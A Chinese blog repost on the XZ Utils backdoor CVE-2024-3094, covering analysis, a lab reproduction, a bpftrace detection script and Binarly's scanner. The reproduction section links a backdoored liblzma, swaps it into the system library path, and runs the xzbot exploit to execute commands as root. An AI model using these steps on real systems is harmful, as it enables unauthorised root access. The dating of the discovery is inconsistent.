背景介绍
2024 年 3 月 29 日,红帽(Red Hat)和美国网络安全和基础设施安全局(CISA)联合发布警告,称流行的Linux压缩工具XZ Utils存在影响广泛的高危漏洞(CVSS评分10分)。由于XZ压缩工具广泛存在于各种Linux发行版本中,因此检查并修复该漏洞是本周企业IT和安全团队的头等大事。
该漏洞编号为CVE-2024-3094,影响用于压缩和解压缩文件格式的XZ Utils工具(5.6.0和5.6.1版本)。红帽表示,该工具几乎存在于所有Linux发行版中。
该漏洞会影响 OpenSSH 守护进程。虽然 OpenSSH 不直接链接到 liblzma 库,但它会以一种方式与 systemd 通信,由于 systemd 链接到 liblzma,这使得 OpenSSH 暴露于恶意软件攻击。
简要分析
https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
- 注入后门的
liblzma
会通过 ifunc 方式, 劫持用于 RSA 解密的RSA_public_decrypt
函数到其liblzma
内的恶意实现 (符号为Llzma_index_prealloc_0
).- 攻击者在该函数内验证 payload 中的密钥 (漏洞的设计是:只有攻击者才能利用)
- 若通过验证, 则通过
system()
执行攻击者的命令 - 若未通过验证, 则跳到正确的
RSA_public_decrypt
实现, 因此不会影响正常的 ssh 连接
- 若通过验证, 则通过
- 攻击者在该函数内验证 payload 中的密钥 (漏洞的设计是:只有攻击者才能利用)
攻击者可以通过这种方式, 绕过 openssh 登陆验证, 以 root 权限执行攻击者的任意命令.
复现
首先,准备一台 x86-64 架构的, 装有 openssh ,且 sshd
被链接到 liblzma.so
的 Linux 系统。
使用以下命令检查 sshd
是否被链接到 liblzma.so
。 ldd $(which sshd) | grep liblzma
笔者使用的是 Ubuntu 22.04.4 LTS x86_64
, 5.15.0-101-generic
, KVM/QEMU (Standard PC (Q35 + ICH9, 2009) pc-q35-7.2)
.
在目标机器上,下载植入后门的 liblzma.so
。链接如下:
https://github.com/amlweems/xzbot/raw/main/assets/liblzma.so.5.6.1.patch
备份系统当前的 liblzma.so.5
,
cd /lib/x86_64-linux-gnu # ubuntu/debian sudo cp liblzma.so.5 liblzma.so.5.backup
将 liblzma.so.5
软连接到植入后门的 liblzma.so.patch
cd /lib/x86_64-linux-gnu # ubuntu/debian sudo ln -s /realpath/to/liblzma.so.5.6.1.patch liblzma.so.5<code></code><code class="language-sh"></code>
重启 sshd
不重启也可以。
sudo systemctl restart sshd
在本机上,安装利用程序。
go install github.com/amlweems/xzbot@latest # ==== cd ~/go/bin ./xzbot -h Usage of xzbot: -addr string ssh server address (default "127.0.0.1:2222") -seed string ed448 seed, must match xz backdoor key (default "0") -cmd string command to run via system() (default "id > /tmp/.xz") <code class="language-sh"> </code>
# 替换为你目标机的ip,及ssh端口 ./xzbot -addr "192.168.122.177:22" -cmd "date >> /tmp/xz"
在目标机上,就可以观察到恶意程序执行的结果了。
最终,被注入恶意后门代码的 liblzma
污染了 sshd
,使得攻击者能够绕过 RSA 验证,以 root 权限执行任意命令。
防御
#!/bin/env -S BPFTRACE_LOG_SIZE=33554432 bpftrace --unsafe /* Date: 2024 04 02 22:10:43 CST UTC+8 Author: Delta<DeltaMail@qq.com> Copyright © [2024]. All rights reserved. */ uprobe:/lib/x86_64-linux-gnu/libc.so.6:system / comm == "sshd" / { printf("pid:%d, comm:%s, args:%s\n", pid, comm, str(arg0)); if(!(@call_time[pid])) { // libcrypto.so:RSA_public_decrypt has not been called printf("%s\n", strftime("%F %T.%f", nsecs)); printf("CVE-2024-3094 is being exploited now.\n"); printf("system() was called before libcrypto.so:RSA_public_decrypt.\n"); signal("SIGKILL"); } } uprobe:/lib/x86_64-linux-gnu/libcrypto.so.3:RSA_public_decrypt { @call_time[pid] = elapsed; }
成功捕捉到恶意程序正在绕过 RSA 验证,执行任意代码。
恶意程序被杀死。在 /tmp
目录下也没有观察到恶意程序将要生成的文件。
同时,正常的,通过密钥验证的, SSH 连接不会被影响。

检测
固件安全厂商Binarly近日紧急发布了一款免费在线Linux后门扫描工具,用于检测可能受CVE-2024-3094漏洞影响的所有Linux可执行文件。
CVE-2024-3094是在XZ Utils中发现的,史上最危险、最复杂(但“功亏一篑”)的软件供应链攻击之一。曝出该漏洞的XZ Utils是一套广泛应用于主流Linux发行版的压缩工具和库,但Binarly推出的后门程序扫描工具的检测范围不限于XZ Utils。
去年底,微软工程师Andres Freud在调查DebianSid(滚动发行版)SSH登录异常(缓慢)时,发现最新版本的XZ Utils软件包存在后门程序。该后门由代号为“匿名贡献者”的人士引入到XZ5.6.0版本中,并延续到5.6.1版本。不过,由于采用“激进更新”方式的Linux发行版和版本较少,因此大多数使用早期安全库版本的發行版并未受到影响。
XZ后门发现后,大量部门和企业立即启动了检测和修复工作。美国网络安全与基础设施安全局(CISA)建议降级到XZUtils5.4.6稳定版,并持续追踪和报告相关恶意活动。
Binarly指出,迄今为止的XZ后门威胁缓解工作主要依靠简单的检测方法,例如字节字符串匹配、文件哈希黑名单和YARA规则,这些方法不仅会带来大量误报警报,还无法检测其他项目中类似的后门程序。
为了解决这个问题,Binarly开发了一款针对特定库和携带相同后门的任何文件的专用扫描器。
Binarly表示:“如此复杂且专业设计的综合性植入框架并非一次性操作就可以完成的。它可能已经被部署在其他地方,或部分用于其他操作。这就是我们开始专注于这种复杂后门的更通用检测方法的原因。”
XZ后门通过修改IFUNC调用来拦截或挂钩执行,从而插入恶意代码。Binarly的检测方法采用静态分析二进制文件的方式,识别GNU间接函数(IFUNC)转换过程中的篡改行为。
具体来说,扫描器会检查在植入恶意IFUNC解析器过程中标记为可疑的转换。GCC编译器的IFUNC属性允许开发人员创建同一函数的多个版本,然后根据处理器类型等各种标准在运行时进行选择。
Binarly解释道:“XZ后门利用GCC编译器用于运行时解析间接函数调用的GNU间接函数(ifunc)属性,作为其在执行过程中获取初始控制的核心技术之一。植入的后门代码最初会拦截或挂钩执行。它修改ifunc调用,替换原本应该简单调用“cpuid”的“is_arch_extension_supported”检查,转而调用由有效载荷对象文件(例如liblzma_la-crc64-fast.o)导出的“_get_cpuid”,并调用植入下图所示代码中的恶意_get_cpuid()。”
Binarly的扫描器通过检测除XZ Utils项目之外的各种供应链组件来提高检测率,并且检测结果的可信度也大大提高。
Binarly的首席安全研究员兼首席执行官Alex Matrosov表示:“这种检测基于行为分析,可以自动检测任何类似的后门程序变种。即使经过重新编译或代码更改,我们也能检测到它。”
该后门扫描器现已上线,网址为xz.fail,用户可免费上传二进制文件进行无限次的检测。
ps:bpftrace说明:
1、bpftrace的作用
3、ifunc介绍
转自:https://zhuanlan.zhihu.com/p/690463028
转载请注明:jinglingshu的博客 » XZ 后门(CVE-2024-3094)漏洞-简要分析/复现/精准防御/检测